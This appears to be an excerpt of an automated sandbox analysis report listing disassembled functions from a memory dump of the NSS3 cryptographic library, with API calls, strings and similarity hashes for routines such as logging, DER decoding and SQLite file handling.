PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C676CD5

Strings

C_DigestInit, xrefs: 6C676C61
hSession = 0x%x, xrefs: 6C676C7E, 6C676C8E
pMechanism = 0x%p, xrefs: 6C676CD0
nul, xrefs: 6C676CF4, 6C676D1F
(CK_INVALID_HANDLE), xrefs: 6C676C9C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nul
API String ID: 1003633598-694222406
Opcode ID: e3f7cd28969312004a6efd4b461a14958f0117bb5ed28b2b2b6500d7a06dc712
Instruction ID: 9ded0f6fca468f736b54c3498a749ad97a55c7d2bcb613cb74fcc030b86ccf94
Opcode Fuzzy Hash: e3f7cd28969312004a6efd4b461a14958f0117bb5ed28b2b2b6500d7a06dc712
Instruction Fuzzy Hash: D921E3316001149BDB109BA6EE4DB9E3BB5EB43319F444839E80D97A12DF309948CBAA

Function 6C679DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C679DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C679E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C679E33

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C679E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C679E65

Strings

hSession = 0x%x, xrefs: 6C679E0E, 6C679E1E
nul, xrefs: 6C679E7D, 6C679EA8
flags = 0x%x, xrefs: 6C679E60
C_SessionCancel, xrefs: 6C679DF1
(CK_INVALID_HANDLE), xrefs: 6C679E2C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nul
API String ID: 1003633598-2588393018
Opcode ID: de2a4970372d407319d885d8f68b7fe368e22f24cec1038665af7c17894acc8d
Instruction ID: defe07a86e5de9f3779a157e630a4e740a37ce9beec4ba2f5e912f803a2fdb5a
Opcode Fuzzy Hash: de2a4970372d407319d885d8f68b7fe368e22f24cec1038665af7c17894acc8d
Instruction Fuzzy Hash: DE21D2716011089FDB109BA5EE8CBAE37B5EF4630DF444834E809A7A11DF309949CBAA

Function 6C68ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C68DE64), ref: 6C68ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68ED22

Part of subcall function 6C69B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7718D0,?), ref: 6C69B095

PL_FreeArenaPool.NSS3(?), ref: 6C68ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C68ED6B
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C68ED38

Part of subcall function 6C5C4C70: TlsGetValue.KERNEL32(?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4C97
Part of subcall function 6C5C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CB0
Part of subcall function 6C5C4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C68ED52
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C68ED83
PL_FreeArenaPool.NSS3(?), ref: 6C68ED95
PL_FinishArenaPool.NSS3(?), ref: 6C68ED9D

Part of subcall function 6C6A64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6A127C,00000000,00000000,00000000), ref: 6C6A650E

Strings

security, xrefs: 6C68ED06

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 61f58c0e67d1202e8ad4af2ba8652d040477e4c3202a2eae99b2d1e777266e55
Instruction ID: d3532c6d7b8132fdf7b85404953b3bc06b16ff7b344697efb1476b53b378fd84
Opcode Fuzzy Hash: 61f58c0e67d1202e8ad4af2ba8652d040477e4c3202a2eae99b2d1e777266e55
Instruction Fuzzy Hash: EC110579A01204ABEB1056A9AC44FBF72B8AF4270CF014524EC1562E41F724EA0E86FE

Function 6C750EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C632357), ref: 6C750EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C632357), ref: 6C750EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C750EE6

Part of subcall function 6C7509D0: PR_Now.NSS3 ref: 6C750A22
Part of subcall function 6C7509D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C750A35
Part of subcall function 6C7509D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C750A66
Part of subcall function 6C7509D0: PR_GetCurrentThread.NSS3 ref: 6C750A70
Part of subcall function 6C7509D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C750A9D
Part of subcall function 6C7509D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C750AC8
Part of subcall function 6C7509D0: PR_vsmprintf.NSS3(?,?), ref: 6C750AE8
Part of subcall function 6C7509D0: EnterCriticalSection.KERNEL32(?), ref: 6C750B19
Part of subcall function 6C7509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C750B48
Part of subcall function 6C7509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C750C76
Part of subcall function 6C7509D0: PR_LogFlush.NSS3 ref: 6C750C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C750EFA

Part of subcall function 6C63AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C63AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C750F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C750F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C750F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C750F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C750ED9, 6C750EE5, 6C750F06, 6C750F0B
Aborting, xrefs: 6C750EB3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 4182cb20f92afe347bb9bd20a66ccef9a677d657138a7e2c3bfbe4e16214ea70
Instruction ID: 77f8697e6a15235020f1f2f18321d41881a9f3fc97aa4fd0506578252a2d3a34
Opcode Fuzzy Hash: 4182cb20f92afe347bb9bd20a66ccef9a677d657138a7e2c3bfbe4e16214ea70
Instruction Fuzzy Hash: F1F0AFF69001187BDE003FA09D4EC9B3E2DDF86269F444434FE0956612DA36EA2596B2

Function 6C6B4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C6B4DCB

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C6B4DE1

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C6B4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B4E59

Part of subcall function 6C69FAB0: free.MOZGLUE(?,-00000001,?,?,6C63F673,00000000,00000000), ref: 6C69FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C77300C,00000000), ref: 6C6B4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C6B4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C6B4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6B521A

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 38dd3c6f749b551242fcad5c14a69239ef5aff925577fbf4c687fbbd5829ae8a
Instruction ID: 021b4e88e6e980d8950850577f8965bfcba4509b8a6d2d035e0ea000cdb998c3
Opcode Fuzzy Hash: 38dd3c6f749b551242fcad5c14a69239ef5aff925577fbf4c687fbbd5829ae8a
Instruction Fuzzy Hash: 00F18B71E00209CBDB04CF54D8407AEB7B2FF89358F254129E915BB781EB75E992CB98

Function 6C644FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C790148,?,6C656FEC), ref: 6C64502A
PR_NewLock.NSS3(00000001,00000000,6C790148,?,6C656FEC), ref: 6C645034
PL_NewHashTable.NSS3(00000000,6C69FE80,6C69FD30,6C6EC350,00000000,00000000,00000001,00000000,6C790148,?,6C656FEC), ref: 6C645055
PL_NewHashTable.NSS3(00000000,6C69FE80,6C69FD30,6C6EC350,00000000,00000000,?,00000001,00000000,6C790148,?,6C656FEC), ref: 6C64506D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 198e17858db5a8df630c1a38eaad225546cbac4cd4032a9b1f01e41b6db34191
Instruction ID: 055ad848523c31666c639629a66e0a5ec07d4baf142ad564e2df432ced3d3cc3
Opcode Fuzzy Hash: 198e17858db5a8df630c1a38eaad225546cbac4cd4032a9b1f01e41b6db34191
Instruction Fuzzy Hash: 2331B5B5B092109BDB109EA6E84CB4F37B8EB1379DF21C135E90987A40D3748805CBE9

Function 6C5E2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5E2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5E2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5E3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5E3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E3178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E3022, 6C5E3156, 6C5E3162, 6C5E318A, 6C5E3196, 6C5E31A2, 6C5E31AE, 6C5E31BA, 6C5E31C6
%s at line %d of [%.10s], xrefs: 6C5E3171
database corruption, xrefs: 6C5E316C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 1e9971498fbf96370200ea63e12492005225e9127e708e68d554edae0991006e
Instruction ID: c7c13eccb3ab8581d81ebc04648c4a68bce3e6c166a9990682680c4106950fe2
Opcode Fuzzy Hash: 1e9971498fbf96370200ea63e12492005225e9127e708e68d554edae0991006e
Instruction Fuzzy Hash: 7DB19BB0E052199BCB08CF9DCC85AAEB7B1BB4C304F14846DE859A7B55D774A941CBA0

Function 6C632D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C632D69

Strings

winSeekFile, xrefs: 6C632E9C
winTruncate1, xrefs: 6C632EBE
winUnmapfile1, xrefs: 6C632F55
Pul, xrefs: 6C632E74, 6C632EC5, 6C632F32, 6C632F5C
winTruncate2, xrefs: 6C632EF8
@ul, xrefs: 6C632E24
winUnmapfile2, xrefs: 6C632F7F
ul, xrefs: 6C632DD0

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __allrem
String ID: @ul$Pul$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$ul
API String ID: 2933888876-1957657009
Opcode ID: c500cf17fcbf400f4e04ae17b612297889e1b6960736512bdfbb7937ab203405
Instruction ID: 426309dc49dc5095736200b29e137a615615f9c7d22405a920db32f25b7ec439
Opcode Fuzzy Hash: c500cf17fcbf400f4e04ae17b612297889e1b6960736512bdfbb7937ab203405
Instruction Fuzzy Hash: A3618D71A002159FDB04CF68DC98AAA77F1FF89314F10923CE91A9B791DB31A906CB95

Function 6C65FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C65FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C65FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C65FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C65FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C65FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C65FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65FD84

Strings

:, xrefs: 6C65FD78

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 76e8a6a4782bf9f5fe934e12607101bde91ec5e80bf501168ddedeca61538f52
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2831B3B69002199BEB008AA49D057AF77A8EF45318F650635DC14A7B00EB76E928C7DB

Function 6C640F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C640F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C640F84

Part of subcall function 6C69B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7718D0,?), ref: 6C69B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C65F59B,6C76890C,?), ref: 6C640FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C640FC1

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C640FDB
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C640FEF
PL_FreeArenaPool.NSS3(?), ref: 6C641001
PL_FinishArenaPool.NSS3(?), ref: 6C641009

Strings

security, xrefs: 6C640F5C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 338c16c76c49020bed8e7b5f99ea3d75768e9f9d098d8fa17e08294c73ac6bea
Instruction ID: 8ffc1e16ef1e94c208669ac8d139971e45ab3cdd14be109832b57fc5cb4bc53f
Opcode Fuzzy Hash: 338c16c76c49020bed8e7b5f99ea3d75768e9f9d098d8fa17e08294c73ac6bea
Instruction Fuzzy Hash: 3921F5B1904204ABE7109F69DD40EAE7BB4EF46758F00C529FC1897601FB31EA56CBD6

Function 6C646DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C647D8F,6C647D8F,?,?), ref: 6C646DC8

Part of subcall function 6C69FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C69FE08
Part of subcall function 6C69FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C69FE1D
Part of subcall function 6C69FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C69FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C647D8F,?,?), ref: 6C646DD5

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C768FA0,00000000,?,?,?,?,6C647D8F,?,?), ref: 6C646DF7

Part of subcall function 6C69B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7718D0,?), ref: 6C69B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C646E35

Part of subcall function 6C69FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C69FE29
Part of subcall function 6C69FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C69FE3D
Part of subcall function 6C69FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C69FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C646E4C

Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C768FE0,00000000), ref: 6C646E82

Part of subcall function 6C646AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C64B21D,00000000,00000000,6C64B219,?,6C646BFB,00000000,?,00000000,00000000,?,?,?,6C64B21D), ref: 6C646B01
Part of subcall function 6C646AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C646B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C646F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C646F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C768FE0,00000000), ref: 6C646F6B
PR_SetError.NSS3(FFFFE005,00000000,6C647D8F,?,?), ref: 6C646FE1

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
